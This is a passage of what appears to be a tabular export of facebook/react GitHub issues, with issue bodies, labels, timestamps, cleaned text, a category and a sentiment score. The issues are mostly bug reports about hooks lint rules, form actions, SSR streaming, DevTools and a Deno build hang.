  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-12-06 00:01:33+00:00,2025-12-06 01:00:15+00:00,0,Status: Unconfirmed,0.0408,facebook account nakalimutan ko pano maopen ang aking account of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3700190212,ASDF,asfdgdhd,,2025-12-05 19:56:51+00:00,2025-12-05 21:11:24+00:00,0,nan,0.0518,asdf asfdgdhd,others,0.0
facebook/react,3700153266,Render,ssagfsashg,,2025-12-05 19:41:43+00:00,2025-12-05 21:11:19+00:00,0,nan,0.0622,render ssagfsashg,others,0.0
facebook/react,3700121665,Bug : Component not rendering,Issue while rendering components.,,2025-12-05 19:30:06+00:00,2025-12-09 16:05:07+00:00,1,nan,3.8577,bug component not rendering issue while rendering components,bug,-0.4588
facebook/react,3699133690,Bug: Forms are reset when action fails,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.2.1

## Steps To Reproduce

1. Enter some text into the input and submit. The action will fail.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

https://codesandbox.io/p/devbox/funny-jang-3zj83m?file=%2Fsrc%2Findex.js%3A7%2C4&workspaceId=ws_4qKVDKGuRrrvd8oLfoRWSz

## The current behavior

The form is reset.

## The expected behavior

The form is not reset when the action fails. [The docs](https://react.dev/reference/react-dom/components/form#handle-form-submission-on-the-client:~:text=After%20the%20action%20function%20succeeds%2C%20all%20uncontrolled%20field%20elements%20in%20the%20form%20are%20reset.) suggest that reset should only happen when the action is successful:

> After the action function succeeds, all uncontrolled field elements in the form are reset.


Related: https://github.com/facebook/react/issues/29034",Status: Unconfirmed,2025-12-05 14:11:37+00:00,2025-12-19 09:04:08+00:00,1,Status: Unconfirmed,13.7865,forms are reset when action fails of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version enter some text into the input and submit the action will fail your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example the current behavior the form is reset the the form is not reset when the action fails the docs suggest that reset should only happen when the action is successful after the action function succeeds all uncontrolled field elements in the form are reset related,bug,-0.6124
facebook/react,3697056626,Bug: set-state-in-use-effect false negative when there are multiple instances,"This code correctly produces a lint error:

```tsx
function MyComponent() {
    const [loading, setLoading] = useState(false);
    useEffect(() => {
        setLoading(true);  // ✅ ESLint correctly flags this (1 error)
    }, []);
    // commented out code...
    return null;
}
```

But this code does not:

```tsx
function MyComponent() {
    const [loading, setLoading] = useState(false);
    useEffect(() => {
        setLoading(true);  // ❌ BUG: Error no longer reported (should still be flagged!)
    }, []);
    const [firstName, setFirstName] = useState<string>('');
    const [lastName, setLastName] = useState<string>('');
    const [fullName, setFullName] = useState<string>('');
    useEffect(() => {
        setFullName(`${firstName} ${lastName}`);  // ❌ BUG: Also not reported
    }, [firstName, lastName]);
    return null;
}
```

React version: `^19.2.1`

## Steps To Reproduce

Created a minimal reproduction repo: https://github.com/roryabraham/set-state-in-effect-bug

## The current behavior
In the second code snippet provided, no lint errors are thrown.

## The expected behavior
Lint errors should be thrown for both `setState` calls in `useEffect` callbacks.","Status: Unconfirmed,Component: React Compiler,Resolution: Needs More Information",2025-12-05 00:26:04+00:00,2025-12-06 19:30:56+00:00,4,"Status: Unconfirmed,Component: React Compiler,Resolution: Needs More Information",1.795,set state in use effect false negative when there are multiple instances this code correctly produces a lint error but this code does not react version created a repo the current behavior in the second code snippet provided no lint errors are thrown the lint errors should be thrown for both calls in callbacks,bug,-0.9254
facebook/react,3692477988,"Bug: eslint-plugin-react-hooks not throwing ""Hooks may not be referenced as normal values"" error","React version: 19.2.

## Steps To Reproduce

1. The expected behavior screenshot shows when my repo had eslint-plugin-react-compiler@beta and eslint-plugin-react-hooks@4.6.2 installed. [Per the React Compiler v1.0 announcement](https://react.dev/blog/2025/10/07/react-compiler-1#migrating-from-eslint-plugin-react-compiler-to-eslint-plugin-react-hooks), I removed eslint-plugin-react-compiler, bumped eslint-plugin-react-hooks to the latest version (7.0.1), and made the eslint config changes accordingly. All other rules, including the new ones, seem to work as expected, except this one seems to have disappeared (I only noticed because our codebase has many instances of this that we've been planning to fix at some point before enabling the compiler). Is this a bug or is this no longer meant to throw a lint error, since it does [explicitly break the rules of React](https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values) ? 

## The current behavior
<img width=""898"" height=""317"" alt=""Image"" src=""https://github.com/user-attachments/assets/90110fe0-a571-4aee-b863-4e7968dc9b1b"" />

## The expected behavior
<img width=""898"" height=""317"" alt=""Image"" src=""https://github.com/user-attachments/assets/1ca533cf-44ce-42d5-a8b1-25760123173b"" />","Status: Unconfirmed,Resolution: Stale",2025-12-04 01:33:51+00:00,2026-04-12 00:40:29+00:00,4,"Status: Unconfirmed,Resolution: Stale",128.9629,eslint plugin react hooks not throwing hooks may not be referenced as normal values error react version the screenshot shows when my repo had eslint plugin react compiler beta and eslint plugin react hooks installed per the react compiler v announcement i removed eslint plugin react compiler bumped eslint plugin react hooks to the latest version and made the eslint config changes accordingly all other rules including the new ones seem to work as expected except this one seems to have disappeared i only noticed because our codebase has many instances of this that we ve been planning to fix at some point before enabling the compiler is this a bug or is this no longer meant to throw a lint error since it does explicitly break the rules of react the current behavior the,bug,-0.8271
facebook/react,3690531416,Bug: react-hooks/set-state-in-effect: false-positive with ternary,"React version: react@19.2.0, eslint-plugin-react-hooks@7.0.1

## Steps To Reproduce

```tsx
function getWidth(el: HTMLElement) {
  return el.clientWidth;
}

function Component({value}: {value: string}) {
  const [width, setWidth] = useState(0);
  const ref = useRef<HTMLDivElement>(null);

  useEffect(() => {
    setWidth(ref.current ? getWidth(ref.current) : 0);
//  ^^^^^^^^^^^^ Avoid calling setState() directly within an effect
  }, [value]);

  return <div ref={ref}>{value}{width}</div>;
}
```

Changing the line to `setWidth(getWidth(ref.current));` makes the error go away, so it seems the presence of the ternary operator is confusing the rule.

## The current behavior

Error is raised.


## The expected behavior

No error to be raised.
","Status: Unconfirmed,Resolution: Stale",2025-12-03 14:40:30+00:00,2026-06-17 13:39:17+00:00,11,"Status: Unconfirmed,Resolution: Stale",195.9575,react hooks set state in effect false positive with ternary react version react eslint plugin react hooks changing the line to makes the error go away so it seems the presence of the ternary operator is confusing the rule the current behavior error is raised the no error to be raised,bug,-0.8176
facebook/react,3688461664,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior",Status: Unconfirmed,2025-12-03 04:23:28+00:00,2025-12-04 05:13:15+00:00,0,Status: Unconfirmed,1.0346,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3688458655,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior",Status: Unconfirmed,2025-12-03 04:22:03+00:00,2025-12-04 05:13:11+00:00,0,Status: Unconfirmed,1.0355,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3688353608,Bug: `progressiveChunkSize` forcing streaming SSR breaks html file integrity and `onAllReady` behavior,"React version: 19.2.0


## Steps To Reproduce

```tsx
// App.tsx
<div className=""rp-doc rspress-doc"">
  <Suspense>
    <MyComp />
  </Suspense>
</div>
```

```ts
function renderToHtml(app: ReactNode): Promise<string> {
  return new Promise((resolve, reject) => {
    const passThrough = new PassThrough();
    const { pipe } = renderToPipeableStream(app, {
      onError(error) {
        reject(error);
      },
      onAllReady() {
        pipe(passThrough);
        text(passThrough).then(resolve, reject);
      },
    });
  });
}
```

related APIs:

`renderToPipeableStream`  `prerenderToNodeStream` etc

## react 19.1.1

```html
<main class=""rp-doc-layout__doc-container"">
  <div class=""rp-doc rspress-doc"">
     <h1>title</h1>
   </div>
</main>
```

`.rspress-doc > h1` works fine


## react 19.2.0

If the article content is very long, it exceeds the chunkSize set by React.

```html
<main class=""rp-doc-layout__doc-container"">
  <div class=""rp-doc rspress-doc""><!--$?--><template id=""B:0""></template><!--/$--></div>
</main>

<script>requestAnimationFrame(function () { $RT = performance.now() });</script>
<div hidden id=""S:0"">
  <h1>title</h1>
</div>
```

`.rspress-doc > h1` 🤕



## Related links

- https://github.com/web-infra-dev/rspress/pull/2831

- https://github.com/facebook/react/pull/33027

- https://github.com/facebook/react/pull/33027#issuecomment-3403958008

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a m... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-12-03 03:26:58+00:00,2026-03-10 05:23:35+00:00,2,"Status: Unconfirmed,Resolution: Stale",97.081,forcing streaming ssr breaks html file integrity and behavior react version related apis etc react works fine react if the article content is very long it exceeds the chunksize set by react related links please provide a codesandbox a link to a repository on github or provide a m truncated,bug,0.6908
facebook/react,3681604633,`react-hooks/rules-of-hooks` false positives inside class instances (not class components),"We use classes to organize our code, and the eslint rule `react-hooks/rules-of-hooks` always warns about hooks not being usable inside class components, regardless if the class is a component.

### Reproduction

```js
class Store {
  use() {
    return React.useState(4)
  }
}
```",Status: Unconfirmed,2025-12-01 15:40:41+00:00,2026-03-04 05:00:20+00:00,5,Status: Unconfirmed,92.5553,false positives inside class instances not class components we use classes to organize our code and the eslint rule always warns about hooks not being usable inside class components regardless if the class is a component reproduction,others,0.4588
facebook/react,3681281267,Bug: fabric completeRoot called for suspended comp. w/ same tree output,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.3 (latest main)

## Steps To Reproduce

1. Checkout the test case in this PR: https://github.com/facebook/react/pull/35262

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example: https://github.com/facebook/react/pull/35262

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior

I noticed that when we suspend a component in fabric react and in that component a state update occurs, that we still will call completeRoot.

This has performance implications, as completeRoot will call into c++ and invoke ShadowTree::commit in react-native.

I think that when a suspended component has a state update and we still show the very same fallback component, then there should be no completeRoot call, as technically, nothing has ch... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-12-01 14:30:44+00:00,2026-06-07 10:48:32+00:00,4,"Status: Unconfirmed,Resolution: Stale",187.8457,fabric completeroot called for suspended comp w same tree output of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version latest main checkout the test case in this pr your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior i noticed that when we suspend a component in fabric react and in that component a state update occurs that we still will call completeroot this has performance implications as completeroot will call into c and invoke shadowtree commit in react native i think that when a suspended component has a state update and we still show the very same fallback component then there should be no completeroot call as technically nothing has ch truncated,bug,-0.9231
facebook/react,3680719189,Bug: React 19.2 doesn't seem to have useEffectEvent :(,"React 19.2 doesn't seem to have useEffectEvent :( 

<img width=""830"" height=""715"" alt=""Image"" src=""https://github.com/user-attachments/assets/03a370be-beba-4e1b-a747-67bd73d45ff4"" />

React version:

19.2.0

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-12-01 12:13:57+00:00,2025-12-01 14:35:21+00:00,4,Status: Unconfirmed,0.0982,react doesn t seem to have useeffectevent react doesn t seem to have useeffectevent react version the current behavior the,bug,0.0
facebook/react,3675378444,"[DevTools Bug]: Internal state change in cousin component causing a ""re-render"" in another cousin component wrapped inside parent divs.","### Website or app

https://github.com/mukesharyal/react-devtools-bug-report

### Repro steps

1. Clone the GitHub repo and run `npm install`
2. Run the local dev server with `npm run dev` and also run React Devtools
3. You will see two components `ComponentA` and `ComponentB`
4. Cause a re-render of `ComponentA` by clicking the button a bunch of times
5. `ComponentB` will also be shown in the component render highlights and `Profiler` sessions

The structure of `App` component looks like this:

```
import ComponentA from './components/ComponentA';
import ComponentB from './components/ComponentB';

function App() {

	return(

		<div>
			<div>
				<ComponentA />
			</div>

			

			<div>
				<ComponentB />
			</div>
		</div>
	);

}

export default App;
```

This is what `ComponentA` looks like:

```
import { useState } from ""react"";

export default function ComponentA()
{
    console.log(""Component A rendered!"");

    const [count, setCount] = useState(0);

    return(
        
        <>
            <h1>
                Component A
            </h1>
               
            <h2>
                Count is {count}
            </h2>

            <button onClick={() => { setCount(count => count + 1) }}>
                Increase Count
            </button>
        </>
    )
}
```

And here is `ComponentB`:

```
export default function ComponentB()
{
    console.log(""Component B rendered!"");

    return(
        <>
            <h1>
                Component B
            </h1>
   ... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-11-28 16:15:34+00:00,2026-02-09 23:19:54+00:00,4,"Type: Bug,Status: Unconfirmed,Component: Developer Tools",73.2947,devtools bug internal state change in cousin component causing a re render in another cousin component wrapped inside parent divs website or app repro steps clone the github repo and run run the local dev server with and also run react devtools you will see two components and cause a re render of by clicking the button a bunch of times will also be shown in the component render highlights and sessions the structure of component looks like this this is what looks like and here is export default function componentb console log component b rendered return component b truncated,bug,0.25
facebook/react,3675220191,[DevTools Bug]: Internal state change in a cousin component causing a Profiler re-render in another cousin component wrapped inside parent divs.,"### Website or app

https://github.com/mukesharyal/react-devtools-bug-report

### Repro steps

Steps for reproduction:
1. Clone the GitHub repo.
2. Run the dev server and open React Devtools.
3. You will see two components `ComponentA` and `ComponentB`.
4. Cause a re-render of `ComponentA` by clicking the button.
5. `ComponentB` will also be highlighted as being re-rendered and can also be seen in a Profiler session.

`ComponentA` and `ComponentB` are wrapped inside of two `div`s in the `App` component like this:


 function App() {

	return(

		<div>
			<div>
				<ComponentA />
			</div>

			

			<div>
				<ComponentB />
			</div>
		</div>
	);

}

export default App;
`

### How often does this bug happen?

Every time

### DevTools package (automated)

_No response_

### DevTools version (automated)

_No response_

### Error message (automated)

_No response_

### Error call stack (automated)

```text

```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text

```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-11-28 15:09:57+00:00,2025-11-28 15:46:40+00:00,1,"Type: Bug,Status: Unconfirmed,Component: Developer Tools",0.0255,devtools bug internal state change in a cousin component causing a profiler re render in another cousin component wrapped inside parent divs website or app repro steps steps for reproduction clone the github repo run the dev server and open react devtools you will see two components and cause a re render of by clicking the button will also be highlighted as being re rendered and can also be seen in a profiler session and are wrapped inside of two s in the component like this function app return export default app how often does this bug happen every time devtools package automated no response devtools version automated no response error message automated no response error call stack automated error component stack automated github query string automated,bug,-0.9524
facebook/react,3675214385,Bug: Should have a queue. This is likely a bug in React,"<!--
I upgraded me react native app from 0.73.8 to 0.77.3 and as soon as I run app I get this error ""Should have a queue. This is likely a bug in React. Please file an issue""
-->

React version: 18.3.1

## Steps To Reproduce

1. Run react native app with RN 0.77.3 and react 18.3.1
2. First thing that shows is the error

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior

App shows errors once it's built


## The expected behavior

App should run without any errors
","Status: Unconfirmed,Resolution: Stale",2025-11-28 15:07:45+00:00,2026-03-09 10:19:32+00:00,3,"Status: Unconfirmed,Resolution: Stale",100.7998,should have a queue this is likely a bug in react i upgraded me react native app from to and as soon as i run app i get this error should have a queue this is likely a bug in react please file an issue react version run react native app with rn and react first thing that shows is the error your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior app shows errors once it s built the app should run without any errors,bug,-0.9678
facebook/react,3673903585,Bug: `useActionState`'s second argument is not optional in the React types,"React version: 19.2

## Steps To Reproduce

1. `useActionState(action)` currently throws a type error.

## The current behavior

I'm building a library that makes use of React Actions for mutations. There is no need to pass an initial state variable for `useActionState`. An ""implicit undefined"" initial state is perfectly fine and saves people from typing 6 characters each time.

When I omit the second argument, React appears to be working just fine. However, `@types/react` expects the second argument to be provided. Can we make it optional or is there a reason to keep it required?

## The expected behavior

`useActionState(action)` should not throw a type error.


I submitted a PR for `@types/react` here: https://github.com/DefinitelyTyped/DefinitelyTyped/pull/74156","Status: Unconfirmed,Resolution: Stale",2025-11-28 07:26:15+00:00,2026-03-07 03:42:30+00:00,5,"Status: Unconfirmed,Resolution: Stale",98.8446,s second argument is not optional in the react types react version currently throws a type error the current behavior i m building a library that makes use of react actions for mutations there is no need to pass an initial state variable for an implicit undefined initial state is perfectly fine and saves people from typing characters each time when i omit the second argument react appears to be working just fine however expects the second argument to be provided can we make it optional or is there a reason to keep it required the should not throw a type error i submitted a pr for here,bug,-0.7845
facebook/react,3672680732,"Bug: Compiler, group memoisation","The compiler seems to mix dependency in some condition and nest block incorrectly.

React version: 19.2
Issue demo : [React Compiler Playground](https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwFkBPAQU0wAoAlPmAAdNvjiswBANpT6uADT4wCXAGFodXAF18AXnxQ1AZVxlcCfgAZBAbnH5J0uUysBbMCrW4Akp5g+kYmCOaW1rIAjCoATCoAzCoALCoArLqC4k4udDL4JEzUCDAIhAEIXob47pVgAHSFxTD8AG6GAHz4rQCksYYGRnbZElJ5BEwMpR4IOtVCnSI5zr5aim2LrQDUUVkSAL4jzmP5ZITlnvPCBl1iEivqFV4bN-iy9R+tKq31lLMA5rgABb4Lb4KKZHKHOhHfClXCwNgAHkITFaHWW+CRmA6Wg8mCssBECh0+yRAHocZikQAjKC4XCsfCsDSUJhwADWBmAkzg01muH2HT8UwAlzMdCUKXSGawMfcsVR5c4VSImlZShc6vUPGQBLUPIskWz8ByEJxuQahTzPGTyWyOoJoarnLT6Yy2Cy2ZzuWctR4hdxzvgntL3XLqeSlTkKaj0eJoSAlCAxoV-igQEx8TgCLhOJgECJ8AAFShQf6TADyBJYeXw+wKMAghoA5DSyDSEJQALSYMsVujd0pkRjdqT4oolcmomQtxwwuj8O7Ocnk8eYIqWWvsCDEZD4UQgMiUSiHhOqLdgQoIMAl-tVmvSBxJ8BAiAAdxFGrox7AKHIlBqPsQA)

## Steps To Reproduce

1. I create a component with 2 states that won't interact, and array and a counter ([React Compiler Playground Link](https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwFkBPAQU0wAoAlPmAAdNvjiswBANpT6uADT4wCXAGFodXAF18AXnxQ1AZVxlcCfgAZBAbnH5J0uUysBbMCrW4Akp5g+kYmCOaW1rIAjCoATCoAzCoALCoArLqC4k4udDL4JEzUCDAIhAEIXob47pVgAHSFxTD8AG6GAHz4rQCksYYGRnbZElJ5BEwMpR4IOtVCnSI5zr5aim2LrQDUUVkSAL4jzmP5ZITlnvPCBl1iEivqFV4bN-iy9R+tKq31lLMA5rgABb4Lb4KKZHKHOhHfClXCwNgAHkITFaHWW+CRmA6Wg8mCssBECh0+yRAHocZikQAjKC4XCsfCsDSUJhwADWBmAkzg01muH2HT8UwAlzMdCUKXSGawMfcsVR5c4VSImlZShc6vUPG... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-11-27 18:35:09+00:00,2026-06-03 09:42:00+00:00,4,"Status: Unconfirmed,Resolution: Stale",187.6298,compiler group memoisation the compiler seems to mix dependency in some condition and nest block incorrectly react version issue demo react compiler playground i create a component with states that won t interact and array and a counter react compiler playground link truncated,bug,0.4404
facebook/react,3669883101,Bug: Build of `react-dom` hangs on Deno runtime,"
React version: 19.2.0

## Steps To Reproduce

1. clone https://github.com/Yovach/deno-tanstack-start-bug-reproduction
2. deno install
3. deno task build


## The current behavior

It's hanging forever.

## The expected behavior

Not hanging on `deno task build`


## Context

I've been investigating the vite build hanging issue in Deno and found the root cause. https://github.com/denoland/deno/issues/31248

Seems that `react-dom` package.json maps Deno to use the browser bundle (`server.browser.js`) instead of the node bundle. The browser bundle creates a MessageChannel for task scheduling, and this MessageChannel keeps Deno's process alive forever, causing the hang.
Runtime mappings:
  • Node.js → uses `setImmediate` from server.node.js (doesn't block exit) :white_check_mark:
  • Bun → uses `queueMicrotask` from server.bun.js (doesn't block exit) :white_check_mark:
  • Deno → uses `MessageChannel` from server.browser.js (blocks exit forever) :x:

## Solutions

Changing the ""deno"" mapping from `""./server.browser.js""` to `""./server.node.js""` at `node_modules/.deno/react-dom@19.2.0/node_modules/react-dom/package.json` fixed the hang.

I also tested changing the bun bundler to use server.browser.js, to have sure that this is the problem, and it hangs for bun too.

I talked with the Deno CLI team, and we decided to create this issue to check if make sense have a new bundle for Deno. For some reason, seems that solution was rejected in the past (https://github.com/facebook/react/p... [TRUNCATED]",Status: Unconfirmed,2025-11-27 05:08:45+00:00,2025-12-04 05:50:28+00:00,1,Status: Unconfirmed,7.029,build of hangs on deno runtime react version clone deno install deno task build the current behavior it s hanging forever the not hanging on context i ve been investigating the vite build hanging issue in deno and found the root cause seems that package json maps deno to use the browser bundle instead of the node bundle the browser bundle creates a messagechannel for task scheduling and this messagechannel keeps deno s process alive forever causing the hang runtime mappings node js uses from server node js doesn t block exit white check mark bun uses from server bun js doesn t block exit white check mark deno uses from server browser js blocks exit forever x solutions changing the deno mapping from to at fixed the hang i also tested changing the bun bundler to use server browser js to have sure that this is the problem and it hangs for bun too i talked with the deno cli team and we decided to create this issue to check if make sense have a new bundle for deno for some reason seems that solution was rejected in the past truncated,bug,-0.3818
facebook/react,3667589924,Bug: Erro: Falha ao executar 'insertBefore' em 'Node': O nó antes do qual o novo nó deve ser inserido não é filho deste nó.,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
","Status: Unconfirmed,Resolution: Stale",2025-11-26 13:44:17+00:00,2026-03-12 14:21:09+00:00,5,"Status: Unconfirmed,Resolution: Stale",106.0256,erro falha ao executar insertbefore em node o n antes do qual o novo n deve ser inserido n o filho deste n of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3666930111,Title: Fix minor typo/formatting inconsistency in React documentation/component code comment,"Description:
There are a few places in the docs or code comments where:

grammar is slightly inconsistent

code snippets are missing semicolons

indentation varies

markdown headings spacing is inconsistent

Reporting one specific typo or formatting inconsistency is a valid issue. Maintainers appreciate these clean-ups.
Example content:

In the “Concurrent Rendering” docs, the phrase “…when React need to yield…” should be “…needs to yield…”.

Why it's valid:
Docs and code comments must be clean and error-free; maintainers welcome such contributions.","Status: Unconfirmed,Resolution: Stale",2025-11-26 10:42:57+00:00,2026-03-03 12:15:12+00:00,2,"Status: Unconfirmed,Resolution: Stale",97.0641,title fix minor typo formatting inconsistency in react documentation component code comment description there are a few places in the docs or code comments where grammar is slightly inconsistent code snippets are missing semicolons indentation varies markdown headings spacing is inconsistent reporting one specific typo or formatting inconsistency is a valid issue maintainers appreciate these clean ups example content in the concurrent rendering docs the phrase when react need to yield should be needs to yield why it s valid docs and code comments must be clean and error free maintainers welcome such contributions,bug,0.8934
facebook/react,3666927950,dd example usage of useDeferredValue in React Docs,"Description:
The current React documentation briefly explains useDeferredValue but lacks a clear, practical example showing how it improves UI responsiveness during heavy re-renders.
A small example (e.g., search filter with a large list) would help beginners understand the hook better.

Why it's valid:
React maintainers often accept documentation-related issues because clear examples help developers learn API features.","Status: Unconfirmed,Resolution: Stale",2025-11-26 10:42:13+00:00,2026-03-03 12:15:14+00:00,2,"Status: Unconfirmed,Resolution: Stale",97.0646,dd example usage of usedeferredvalue in react docs description the current react documentation briefly explains usedeferredvalue but lacks a clear practical example showing how it improves ui responsiveness during heavy re renders a small example e g search filter with a large list would help beginners understand the hook better why it s valid react maintainers often accept documentation related issues because clear examples help developers learn api features,documentation,0.9773
facebook/react,3666918222,Bug: Suspense fallback re-renders excessively during slow network responses,"### Description
When using `React.Suspense` with a fallback component, the fallback is being
re-rendered multiple times during slow network requests. This causes unnecessary
UI flickering and increased component load, especially on low-performance devices.

### Steps to Reproduce
1. Wrap a lazy-loaded component inside <Suspense fallback={<Spinner />}>.
2. Simulate a slow network response (2–5 seconds delay).
3. Observe multiple re-renders of the fallback UI in the console.

### Expected Behavior
The fallback component should ideally render once and remain stable until the
lazy component resolves.

### Actual Behavior
The fallback re-renders several times durin
","Status: Unconfirmed,Resolution: Stale",2025-11-26 10:39:11+00:00,2026-03-04 14:17:37+00:00,4,"Status: Unconfirmed,Resolution: Stale",98.1517,suspense fallback re renders excessively during slow network responses description when using with a fallback component the fallback is being re rendered multiple times during slow network requests this causes unnecessary ui flickering and increased component load especially on low performance devices wrap a lazy loaded component inside simulate a slow network response seconds delay observe multiple re renders of the fallback ui in the console the fallback component should ideally render once and remain stable until the lazy component resolves the fallback re renders several times durin,bug,-0.8434
facebook/react,3666906911,Bug:,"### Description
I observed that the cleanup function inside `useEffect` does not always trigger when
there are rapid, consecutive state updates. This leads to stale subscriptions and
unexpected behavior in components that rely on cleanup.

### Steps to Reproduce
1. Create a component with a useEffect that logs cleanup.
2. Trigger state updates inside a loop or with very small intervals (5–10ms).
3. Observe that cleanup logs are skipped or delayed.

### Expected Behavior
Cleanup should run reliably before every re-invocation of the effect, regardless of
how fast state is updated.

### Actual Behavior
Cleanup is inconsistently triggered during extremely fast re-renders.

### Version
- React: Latest main branch
- Environment: Browser (Chrome/Edge)
- OS: Windows 10 / macOS (tested both)

### Additional Info
Issue seems more noticeable in strict mode, possibly due to double rendering behavior.
